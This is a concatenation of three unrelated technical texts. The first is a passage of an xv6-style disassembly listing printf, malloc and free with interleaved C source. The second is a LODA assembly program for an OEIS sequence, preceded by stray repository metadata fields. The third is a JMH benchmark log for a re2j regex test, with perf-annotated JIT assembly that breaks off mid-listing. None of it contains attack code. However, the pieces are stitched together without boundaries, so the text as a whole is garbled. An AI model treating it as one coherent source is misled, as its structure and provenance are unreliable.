<printint+0x31> } else { x = xx; 3d1: 8b 45 0c mov 0xc(%ebp),%eax 3d4: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 3d7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 3de: 8b 4d f4 mov -0xc(%ebp),%ecx 3e1: 8d 41 01 lea 0x1(%ecx),%eax 3e4: 89 45 f4 mov %eax,-0xc(%ebp) 3e7: 8b 5d 10 mov 0x10(%ebp),%ebx 3ea: 8b 45 ec mov -0x14(%ebp),%eax 3ed: ba 00 00 00 00 mov $0x0,%edx 3f2: f7 f3 div %ebx 3f4: 89 d0 mov %edx,%eax 3f6: 0f b6 80 8c 0a 00 00 movzbl 0xa8c(%eax),%eax 3fd: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 401: 8b 5d 10 mov 0x10(%ebp),%ebx 404: 8b 45 ec mov -0x14(%ebp),%eax 407: ba 00 00 00 00 mov $0x0,%edx 40c: f7 f3 div %ebx 40e: 89 45 ec mov %eax,-0x14(%ebp) 411: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 415: 75 c7 jne 3de <printint+0x38> if(neg) 417: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 41b: 74 2d je 44a <printint+0xa4> buf[i++] = '-'; 41d: 8b 45 f4 mov -0xc(%ebp),%eax 420: 8d 50 01 lea 0x1(%eax),%edx 423: 89 55 f4 mov %edx,-0xc(%ebp) 426: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 42b: eb 1d jmp 44a <printint+0xa4> putc(fd, buf[i]); 42d: 8d 55 dc lea -0x24(%ebp),%edx 430: 8b 45 f4 mov -0xc(%ebp),%eax 433: 01 d0 add %edx,%eax 435: 0f b6 00 movzbl (%eax),%eax 438: 0f be c0 movsbl %al,%eax 43b: 83 ec 08 sub $0x8,%esp 43e: 50 push %eax 43f: ff 75 08 pushl 0x8(%ebp) 442: e8 3c ff ff ff call 383 <putc> 447: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 44a: 83 6d f4 01 subl $0x1,-0xc(%ebp) 44e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 452: 79 d9 jns 42d <printint+0x87> putc(fd, buf[i]); } 454: 90 nop 455: 8b 5d fc mov -0x4(%ebp),%ebx 458: c9 leave 459: c3 ret 0000045a <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 45a: 55 push %ebp 45b: 89 e5 mov %esp,%ebp 45d: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 460: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 467: 8d 45 0c lea 0xc(%ebp),%eax 46a: 83 c0 04 add $0x4,%eax 46d: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 470: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 477: e9 59 01 00 00 jmp 5d5 <printf+0x17b> c = fmt[i] & 0xff; 47c: 8b 55 0c mov 0xc(%ebp),%edx 47f: 8b 45 f0 mov -0x10(%ebp),%eax 482: 01 d0 add %edx,%eax 484: 0f b6 00 movzbl (%eax),%eax 487: 0f be c0 movsbl %al,%eax 48a: 25 ff 00 00 00 and $0xff,%eax 48f: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 492: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 496: 75 2c jne 4c4 <printf+0x6a> if(c == '%'){ 498: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 49c: 75 0c jne 4aa <printf+0x50> state = '%'; 49e: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 4a5: e9 27 01 00 00 jmp 5d1 <printf+0x177> } else { putc(fd, c); 4aa: 8b 45 e4 mov -0x1c(%ebp),%eax 4ad: 0f be c0 movsbl %al,%eax 4b0: 83 ec 08 sub $0x8,%esp 4b3: 50 push %eax 4b4: ff 75 08 pushl 0x8(%ebp) 4b7: e8 c7 fe ff ff call 383 <putc> 4bc: 83 c4 10 add $0x10,%esp 4bf: e9 0d 01 00 00 jmp 5d1 <printf+0x177> } } else if(state == '%'){ 4c4: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 4c8: 0f 85 03 01 00 00 jne 5d1 <printf+0x177> if(c == 'd'){ 4ce: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 4d2: 75 1e jne 4f2 <printf+0x98> printint(fd, *ap, 10, 1); 4d4: 8b 45 e8 mov -0x18(%ebp),%eax 4d7: 8b 00 mov (%eax),%eax 4d9: 6a 01 push $0x1 4db: 6a 0a push $0xa 4dd: 50 push %eax 4de: ff 75 08 pushl 0x8(%ebp) 4e1: e8 c0 fe ff ff call 3a6 <printint> 4e6: 83 c4 10 add $0x10,%esp ap++; 4e9: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4ed: e9 d8 00 00 00 jmp 5ca <printf+0x170> } else if(c == 'x' || c == 'p'){ 4f2: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 4f6: 74 06 je 4fe <printf+0xa4> 4f8: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 4fc: 75 1e jne 51c <printf+0xc2> printint(fd, *ap, 16, 0); 4fe: 8b 45 e8 mov -0x18(%ebp),%eax 501: 8b 00 mov (%eax),%eax 503: 6a 00 push $0x0 505: 6a 10 push $0x10 507: 50 push %eax 508: ff 75 08 pushl 0x8(%ebp) 50b: e8 96 fe ff ff call 3a6 <printint> 510: 83 c4 10 add $0x10,%esp ap++; 513: 83 45 e8 04 addl $0x4,-0x18(%ebp) 517: e9 ae 00 00 00 jmp 5ca <printf+0x170> } else if(c == 's'){ 51c: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 520: 75 43 jne 565 <printf+0x10b> s = (char*)*ap; 522: 8b 45 e8 mov -0x18(%ebp),%eax 525: 8b 00 mov (%eax),%eax 527: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 52a: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 52e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 532: 75 25 jne 559 <printf+0xff> s = "(null)"; 534: c7 45 f4 37 08 00 00 movl $0x837,-0xc(%ebp) while(*s != 0){ 53b: eb 1c jmp 559 <printf+0xff> putc(fd, *s); 53d: 8b 45 f4 mov -0xc(%ebp),%eax 540: 0f b6 00 movzbl (%eax),%eax 543: 0f be c0 movsbl %al,%eax 546: 83 ec 08 sub $0x8,%esp 549: 50 push %eax 54a: ff 75 08 pushl 0x8(%ebp) 54d: e8 31 fe ff ff call 383 <putc> 552: 83 c4 10 add $0x10,%esp s++; 555: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 559: 8b 45 f4 mov -0xc(%ebp),%eax 55c: 0f b6 00 movzbl (%eax),%eax 55f: 84 c0 test %al,%al 561: 75 da jne 53d <printf+0xe3> 563: eb 65 jmp 5ca <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 565: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 569: 75 1d jne 588 <printf+0x12e> putc(fd, *ap); 56b: 8b 45 e8 mov -0x18(%ebp),%eax 56e: 8b 00 mov (%eax),%eax 570: 0f be c0 movsbl %al,%eax 573: 83 ec 08 sub $0x8,%esp 576: 50 push %eax 577: ff 75 08 pushl 0x8(%ebp) 57a: e8 04 fe ff ff call 383 <putc> 57f: 83 c4 10 add $0x10,%esp ap++; 582: 83 45 e8 04 addl $0x4,-0x18(%ebp) 586: eb 42 jmp 5ca <printf+0x170> } else if(c == '%'){ 588: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 58c: 75 17 jne 5a5 <printf+0x14b> putc(fd, c); 58e: 8b 45 e4 mov -0x1c(%ebp),%eax 591: 0f be c0 movsbl %al,%eax 594: 83 ec 08 sub $0x8,%esp 597: 50 push %eax 598: ff 75 08 pushl 0x8(%ebp) 59b: e8 e3 fd ff ff call 383 <putc> 5a0: 83 c4 10 add $0x10,%esp 5a3: eb 25 jmp 5ca <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 5a5: 83 ec 08 sub $0x8,%esp 5a8: 6a 25 push $0x25 5aa: ff 75 08 pushl 0x8(%ebp) 5ad: e8 d1 fd ff ff call 383 <putc> 5b2: 83 c4 10 add $0x10,%esp putc(fd, c); 5b5: 8b 45 e4 mov -0x1c(%ebp),%eax 5b8: 0f be c0 movsbl %al,%eax 5bb: 83 ec 08 sub $0x8,%esp 5be: 50 push %eax 5bf: ff 75 08 pushl 0x8(%ebp) 5c2: e8 bc fd ff ff call 383 <putc> 5c7: 83 c4 10 add $0x10,%esp } state = 0; 5ca: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5d1: 83 45 f0 01 addl $0x1,-0x10(%ebp) 5d5: 8b 55 0c mov 0xc(%ebp),%edx 5d8: 8b 45 f0 mov -0x10(%ebp),%eax 5db: 01 d0 add %edx,%eax 5dd: 0f b6 00 movzbl (%eax),%eax 5e0: 84 c0 test %al,%al 5e2: 0f 85 94 fe ff ff jne 47c <printf+0x22> putc(fd, c); } state = 0; } } } 5e8: 90 nop 5e9: c9 leave 5ea: c3 ret 000005eb <free>: static Header base; static Header *freep; void free(void *ap) { 5eb: 55 push %ebp 5ec: 89 e5 mov %esp,%ebp 5ee: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 5f1: 8b 45 08 mov 0x8(%ebp),%eax 5f4: 83 e8 08 sub $0x8,%eax 5f7: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5fa: a1 a8 0a 00 00 mov 0xaa8,%eax 5ff: 89 45 fc mov %eax,-0x4(%ebp) 602: eb 24 jmp 628 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 604: 8b 45 fc mov -0x4(%ebp),%eax 607: 8b 00 mov (%eax),%eax 609: 3b 45 fc cmp -0x4(%ebp),%eax 60c: 77 12 ja 620 <free+0x35> 60e: 8b 45 f8 mov -0x8(%ebp),%eax 611: 3b 45 fc cmp -0x4(%ebp),%eax 614: 77 24 ja 63a <free+0x4f> 616: 8b 45 fc mov -0x4(%ebp),%eax 619: 8b 00 mov (%eax),%eax 61b: 3b 45 f8 cmp -0x8(%ebp),%eax 61e: 77 1a ja 63a <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 620: 8b 45 fc mov -0x4(%ebp),%eax 623: 8b 00 mov (%eax),%eax 625: 89 45 fc mov %eax,-0x4(%ebp) 628: 8b 45 f8 mov -0x8(%ebp),%eax 62b: 3b 45 fc cmp -0x4(%ebp),%eax 62e: 76 d4 jbe 604 <free+0x19> 630: 8b 45 fc mov -0x4(%ebp),%eax 633: 8b 00 mov (%eax),%eax 635: 3b 45 f8 cmp -0x8(%ebp),%eax 638: 76 ca jbe 604 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 63a: 8b 45 f8 mov -0x8(%ebp),%eax 63d: 8b 40 04 mov 0x4(%eax),%eax 640: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 647: 8b 45 f8 mov -0x8(%ebp),%eax 64a: 01 c2 add %eax,%edx 64c: 8b 45 fc mov -0x4(%ebp),%eax 64f: 8b 00 mov (%eax),%eax 651: 39 c2 cmp %eax,%edx 653: 75 24 jne 679 <free+0x8e> bp->s.size += p->s.ptr->s.size; 655: 8b 45 f8 mov -0x8(%ebp),%eax 658: 8b 50 04 mov 0x4(%eax),%edx 65b: 8b 45 fc mov -0x4(%ebp),%eax 65e: 8b 00 mov (%eax),%eax 660: 8b 40 04 mov 0x4(%eax),%eax 663: 01 c2 add %eax,%edx 665: 8b 45 f8 mov -0x8(%ebp),%eax 668: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 66b: 8b 45 fc mov -0x4(%ebp),%eax 66e: 8b 00 mov (%eax),%eax 670: 8b 10 mov (%eax),%edx 672: 8b 45 f8 mov -0x8(%ebp),%eax 675: 89 10 mov %edx,(%eax) 677: eb 0a jmp 683 <free+0x98> } else bp->s.ptr = p->s.ptr; 679: 8b 45 fc mov -0x4(%ebp),%eax 67c: 8b 10 mov (%eax),%edx 67e: 8b 45 f8 mov -0x8(%ebp),%eax 681: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 683: 8b 45 fc mov -0x4(%ebp),%eax 686: 8b 40 04 mov 0x4(%eax),%eax 689: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 690: 8b 45 fc mov -0x4(%ebp),%eax 693: 01 d0 add %edx,%eax 695: 3b 45 f8 cmp -0x8(%ebp),%eax 698: 75 20 jne 6ba <free+0xcf> p->s.size += bp->s.size; 69a: 8b 45 fc mov -0x4(%ebp),%eax 69d: 8b 50 04 mov 0x4(%eax),%edx 6a0: 8b 45 f8 mov -0x8(%ebp),%eax 6a3: 8b 40 04 mov 0x4(%eax),%eax 6a6: 01 c2 add %eax,%edx 6a8: 8b 45 fc mov -0x4(%ebp),%eax 6ab: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6ae: 8b 45 f8 mov -0x8(%ebp),%eax 6b1: 8b 10 mov (%eax),%edx 6b3: 8b 45 fc mov -0x4(%ebp),%eax 6b6: 89 10 mov %edx,(%eax) 6b8: eb 08 jmp 6c2 <free+0xd7> } else p->s.ptr = bp; 6ba: 8b 45 fc mov -0x4(%ebp),%eax 6bd: 8b 55 f8 mov -0x8(%ebp),%edx 6c0: 89 10 mov %edx,(%eax) freep = p; 6c2: 8b 45 fc mov -0x4(%ebp),%eax 6c5: a3 a8 0a 00 00 mov %eax,0xaa8 } 6ca: 90 nop 6cb: c9 leave 6cc: c3 ret 000006cd <morecore>: static Header* morecore(uint nu) { 6cd: 55 push %ebp 6ce: 89 e5 mov %esp,%ebp 6d0: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 6d3: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 6da: 77 07 ja 6e3 <morecore+0x16> nu = 4096; 6dc: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 6e3: 8b 45 08 mov 0x8(%ebp),%eax 6e6: c1 e0 03 shl $0x3,%eax 6e9: 83 ec 0c sub $0xc,%esp 6ec: 50 push %eax 6ed: e8 61 fc ff ff call 353 <sbrk> 6f2: 83 c4 10 add $0x10,%esp 6f5: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 6f8: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 6fc: 75 07 jne 705 <morecore+0x38> return 0; 6fe: b8 00 00 00 00 mov $0x0,%eax 703: eb 26 jmp 72b <morecore+0x5e> hp = (Header*)p; 705: 8b 45 f4 mov -0xc(%ebp),%eax 708: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 70b: 8b 45 f0 mov -0x10(%ebp),%eax 70e: 8b 55 08 mov 0x8(%ebp),%edx 711: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 714: 8b 45 f0 mov -0x10(%ebp),%eax 717: 83 c0 08 add $0x8,%eax 71a: 83 ec 0c sub $0xc,%esp 71d: 50 push %eax 71e: e8 c8 fe ff ff call 5eb <free> 723: 83 c4 10 add $0x10,%esp return freep; 726: a1 a8 0a 00 00 mov 0xaa8,%eax } 72b: c9 leave 72c: c3 ret 0000072d <malloc>: void* malloc(uint nbytes) { 72d: 55 push %ebp 72e: 89 e5 mov %esp,%ebp 730: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 733: 8b 45 08 mov 0x8(%ebp),%eax 736: 83 c0 07 add $0x7,%eax 739: c1 e8 03 shr $0x3,%eax 73c: 83 c0 01 add $0x1,%eax 73f: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 742: a1 a8 0a 00 00 mov 0xaa8,%eax 747: 89 45 f0 mov %eax,-0x10(%ebp) 74a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 74e: 75 23 jne 773 <malloc+0x46> base.s.ptr = freep = prevp = &base; 750: c7 45 f0 a0 0a 00 00 movl $0xaa0,-0x10(%ebp) 757: 8b 45 f0 mov -0x10(%ebp),%eax 75a: a3 a8 0a 00 00 mov %eax,0xaa8 75f: a1 a8 0a 00 00 mov 0xaa8,%eax 764: a3 a0 0a 00 00 mov %eax,0xaa0 base.s.size = 0; 769: c7 05 a4 0a 00 00 00 movl $0x0,0xaa4 770: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 773: 8b 45 f0 mov -0x10(%ebp),%eax 776: 8b 00 mov (%eax),%eax 778: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 77b: 8b 45 f4 mov -0xc(%ebp),%eax 77e: 8b 40 04 mov 0x4(%eax),%eax 781: 3b 45 ec cmp -0x14(%ebp),%eax 784: 72 4d jb 7d3 <malloc+0xa6> if(p->s.size == nunits) 786: 8b 45 f4 mov -0xc(%ebp),%eax 789: 8b 40 04 mov 0x4(%eax),%eax 78c: 3b 45 ec cmp -0x14(%ebp),%eax 78f: 75 0c jne 79d <malloc+0x70> prevp->s.ptr = p->s.ptr; 791: 8b 45 f4 mov -0xc(%ebp),%eax 794: 8b 10 mov (%eax),%edx 796: 8b 45 f0 mov -0x10(%ebp),%eax 799: 89 10 mov %edx,(%eax) 79b: eb 26 jmp 7c3 <malloc+0x96> else { p->s.size -= nunits; 79d: 8b 45 f4 mov -0xc(%ebp),%eax 7a0: 8b 40 04 mov 0x4(%eax),%eax 7a3: 2b 45 ec sub -0x14(%ebp),%eax 7a6: 89 c2 mov %eax,%edx 7a8: 8b 45 f4 mov -0xc(%ebp),%eax 7ab: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 7ae: 8b 45 f4 mov -0xc(%ebp),%eax 7b1: 8b 40 04 mov 0x4(%eax),%eax 7b4: c1 e0 03 shl $0x3,%eax 7b7: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 7ba: 8b 45 f4 mov -0xc(%ebp),%eax 7bd: 8b 55 ec mov -0x14(%ebp),%edx 7c0: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 7c3: 8b 45 f0 mov -0x10(%ebp),%eax 7c6: a3 a8 0a 00 00 mov %eax,0xaa8 return (void*)(p + 1); 7cb: 8b 45 f4 mov -0xc(%ebp),%eax 7ce: 83 c0 08 add $0x8,%eax 7d1: eb 3b jmp 80e <malloc+0xe1> } if(p == freep) 7d3: a1 a8 0a 00 00 mov 0xaa8,%eax 7d8: 39 45 f4 cmp %eax,-0xc(%ebp) 7db: 75 1e jne 7fb <malloc+0xce> if((p = morecore(nunits)) == 0) 7dd: 83 ec 0c sub $0xc,%esp 7e0: ff 75 ec pushl -0x14(%ebp) 7e3: e8 e5 fe ff ff call 6cd <morecore> 7e8: 83 c4 10 add $0x10,%esp 7eb: 89 45 f4 mov %eax,-0xc(%ebp) 7ee: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7f2: 75 07 jne 7fb <malloc+0xce> return 0; 7f4: b8 00 00 00 00 mov $0x0,%eax 7f9: eb 13 jmp 80e <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7fb: 8b 45 f4 mov -0xc(%ebp),%eax 7fe: 89 45 f0 mov %eax,-0x10(%ebp) 801: 8b 45 f4 mov -0xc(%ebp),%eax 804: 8b 00 mov (%eax),%eax 806: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 809: e9 6d ff ff ff jmp 77b <malloc+0x4e> } 80e: c9 leave 80f: c3 ret
34.251852
60
0.419502
a717519edb087562e37c899886d3e88efd67f952
1,111
asm
Assembly
oeis/060/A060553.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/060/A060553.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/060/A060553.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A060553: a(n) is the number of distinct (modulo geometric D3-operations) patterns which can be formed by an equilateral triangular arrangement of closely packed black and white cells satisfying the local matching rule of Pascal's triangle modulo 2, where n is the number of cells in each edge of the arrangement. The matching rule is such that any elementary top-down triangle of three neighboring cells in the arrangement contains either one or three white cells. ; Submitted by Christian Krause ; 2,2,4,6,10,16,32,52,104,192,376,720,1440,2800,5600,11072,22112,43968,87936,175296,350592,700160,1400192,2798336,5596672,11188992,22377984,44747776,89495040,178973696,357947392,715860992,1431721984,2863378432,5726754816,11453378560,22906757120,45813248000,91626496000,183252467712,366504927232,733008805888,1466017611776,2932033110016,5864066220032,11728128245760,23456256458752,46912504528896,93825009057792,187650001272832,375300002545664,750599971536896,1501199942942720,3002399818776576 mov $3,$0 seq $0,68010 ; Number of subsets of {1,2,3,...,n} that sum to 0 mod 3. mov $2,2 div $3,2 pow $2,$3 add $0,$2
101
491
0.819982
f0ca2eac1621a14d7578208a8ccc942c34e4ea3a
78,384
asm
Assembly
reports/03_arraylist_2.exp2.asm
arnaudroger/re2j-benchmark
ecfb2d6975948a1fbb53ccf101b285655b850058
[ "MIT" ]
null
null
null
reports/03_arraylist_2.exp2.asm
arnaudroger/re2j-benchmark
ecfb2d6975948a1fbb53ccf101b285655b850058
[ "MIT" ]
null
null
null
reports/03_arraylist_2.exp2.asm
arnaudroger/re2j-benchmark
ecfb2d6975948a1fbb53ccf101b285655b850058
[ "MIT" ]
null
null
null
# JMH version: 1.19 # VM version: JDK 1.8.0_131, VM 25.131-b11 # VM invoker: /usr/lib/jvm/java-8-oracle/jre/bin/java # VM options: <none> # Warmup: 20 iterations, 1 s each # Measurement: 20 iterations, 1 s each # Timeout: 10 min per iteration # Threads: 1 thread, will synchronize iterations # Benchmark mode: Throughput, ops/time # Benchmark: com.github.arnaudroger.re2j.Re2jFindRegex.testExp2 # Run progress: 0.00% complete, ETA 00:00:40 # Fork: 1 of 1 # Preparing profilers: LinuxPerfAsmProfiler # Profilers consume stdout and stderr from target VM, use -v EXTRA to copy to console # Warmup Iteration 1: 1758.303 ops/s # Warmup Iteration 2: 2691.147 ops/s # Warmup Iteration 3: 2697.633 ops/s # Warmup Iteration 4: 2698.822 ops/s # Warmup Iteration 5: 2703.339 ops/s # Warmup Iteration 6: 2699.512 ops/s # Warmup Iteration 7: 2700.341 ops/s # Warmup Iteration 8: 2698.770 ops/s # Warmup Iteration 9: 2705.001 ops/s # Warmup Iteration 10: 2705.063 ops/s # Warmup Iteration 11: 2710.717 ops/s # Warmup Iteration 12: 2708.264 ops/s # Warmup Iteration 13: 2708.122 ops/s # Warmup Iteration 14: 2703.472 ops/s # Warmup Iteration 15: 2708.943 ops/s # Warmup Iteration 16: 2710.257 ops/s # Warmup Iteration 17: 2698.836 ops/s # Warmup Iteration 18: 2694.036 ops/s # Warmup Iteration 19: 2698.370 ops/s # Warmup Iteration 20: 2704.811 ops/s Iteration 1: 2704.809 ops/s Iteration 2: 2703.940 ops/s Iteration 3: 2704.049 ops/s Iteration 4: 2505.364 ops/s Iteration 5: 2702.105 ops/s Iteration 6: 2709.412 ops/s Iteration 7: 2706.047 ops/s Iteration 8: 2705.286 ops/s Iteration 9: 2704.063 ops/s Iteration 10: 2524.037 ops/s Iteration 11: 2707.257 ops/s Iteration 12: 2707.181 ops/s Iteration 13: 2710.622 ops/s Iteration 14: 2710.622 ops/s Iteration 15: 2710.457 ops/s Iteration 16: 2502.935 ops/s Iteration 17: 2709.878 ops/s Iteration 18: 2710.227 ops/s Iteration 19: 2702.171 ops/s Iteration 20: 2705.516 ops/s # Processing profiler results: LinuxPerfAsmProfiler Result "com.github.arnaudroger.re2j.Re2jFindRegex.testExp2": 2677.299 ±(99.9%) 62.453 ops/s [Average] (min, avg, max) = (2502.935, 2677.299, 2710.622), stdev = 71.921 CI (99.9%): [2614.846, 2739.752] (assumes normal distribution) Secondary result "com.github.arnaudroger.re2j.Re2jFindRegex.testExp2:·asm": PrintAssembly processed: 192157 total address lines. Perf output processed (skipped 23.349 seconds): Column 1: cycles (20892 events) Column 2: instructions (20866 events) Hottest code regions (>10.00% "cycles" events): ....[Hottest Region 1].............................................................................. C2, level 4, com.google.re2j.Machine::step, version 495 (366 bytes) 0x00007f372cbe26c8: mov 0x28(%rsp),%r8 0x00007f372cbe26cd: movb $0x1,0x10(%r8) ;*putfield matched ; - com.google.re2j.Machine::step@284 (line 306) 0x00007f372cbe26d2: mov 0x20(%rsp),%r9d 0x00007f372cbe26d7: jmpq 0x00007f372cbe224d 0x00007f372cbe26dc: mov %r10d,0x74(%rsp) 0x00007f372cbe26e1: mov %eax,0x7c(%rsp) 0x00007f372cbe26e5: mov %ebx,%edi 0x00007f372cbe26e7: mov %r11,%r13 0x00007f372cbe26ea: jmpq 0x00007f372cbe2289 0.39% 0.45% ↗ 0x00007f372cbe26ef: cmp $0x3f,%r8d │ 0x00007f372cbe26f3: jge 0x00007f372cbe2cb5 ;*if_icmpge │ ; - com.google.re2j.Unicode::simpleFold@48 (line 215) │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ; - com.google.re2j.Machine::step@294 (line 310) │ 0x00007f372cbe26f9: cmp $0x3f,%r8d │ 0x00007f372cbe26fd: jae 0x00007f372cbe2b1d 0.03% 0.03% │ 0x00007f372cbe2703: mov 0x10(%r9,%r8,4),%ebp ;*aaload │ ; - com.google.re2j.Unicode::simpleFold@55 (line 215) │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.04% 0.04% │ 0x00007f372cbe2708: mov 0xc(%r12,%rbp,8),%r11d ; implicit exception: dispatches to 0x00007f372cbe31a5 0.34% 0.49% │ 0x00007f372cbe270d: test %r11d,%r11d │ 0x00007f372cbe2710: jbe 0x00007f372cbe2b65 │ 0x00007f372cbe2716: mov 0x10(%r12,%rbp,8),%ebp ;*iaload │ ; - com.google.re2j.Unicode::simpleFold@57 (line 215) │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.03% 0.01% │ 0x00007f372cbe271b: cmp 0x20(%rsp),%ebp │ 0x00007f372cbe271f: je 0x00007f372cbe2cfd ;*if_icmpne │ ; - com.google.re2j.Unicode::simpleFold@59 (line 215) │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.05% 0.06% │ 0x00007f372cbe2725: mov 0x20(%rsp),%r8d 0.35% 0.45% │ 0x00007f372cbe272a: cmp $0x7f,%r8d │ 0x00007f372cbe272e: jg 0x00007f372cbe2d39 ;*if_icmpgt │ ; - com.google.re2j.Unicode::toLower@3 (line 177) │ ; - com.google.re2j.Unicode::simpleFold@71 (line 223) │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ; - com.google.re2j.Machine::step@294 (line 310) │ 0x00007f372cbe2734: cmp $0x41,%r8d │ 0x00007f372cbe2738: jl 0x00007f372cbe2c65 ;*if_icmpgt │ ; - com.google.re2j.Unicode::toLower@9 (line 178) │ ; - com.google.re2j.Unicode::simpleFold@71 (line 223) │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.02% 0.00% │ 0x00007f372cbe273e: cmp $0x5a,%r8d ╭ │ 0x00007f372cbe2742: jg 0x00007f372cbe2750 ;*if_icmpgt │ │ ; - com.google.re2j.Unicode::toLower@15 (line 178) │ │ ; - com.google.re2j.Unicode::simpleFold@71 (line 223) │ │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ │ ; - com.google.re2j.Machine::step@294 (line 310) │ │ 0x00007f372cbe2744: mov %r8d,%r10d │ │ 0x00007f372cbe2747: add $0x20,%r10d ;*iinc │ │ ; - com.google.re2j.Unicode::toLower@18 (line 179) │ │ ; - com.google.re2j.Unicode::simpleFold@71 (line 223) │ │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ │ ; - com.google.re2j.Machine::step@294 (line 310) │ │ 0x00007f372cbe274b: cmp %r8d,%r10d │╭ │ 0x00007f372cbe274e: jne 0x00007f372cbe276b ;*if_icmpeq ││ │ ; - com.google.re2j.Unicode::simpleFold@77 (line 224) ││ │ ; - com.google.re2j.Inst::matchRune@50 (line 57) ││ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.08% 0.07% ↘│ │ 0x00007f372cbe2750: cmp $0x61,%r8d │ │ 0x00007f372cbe2754: jl 0x00007f372cbe2f7d 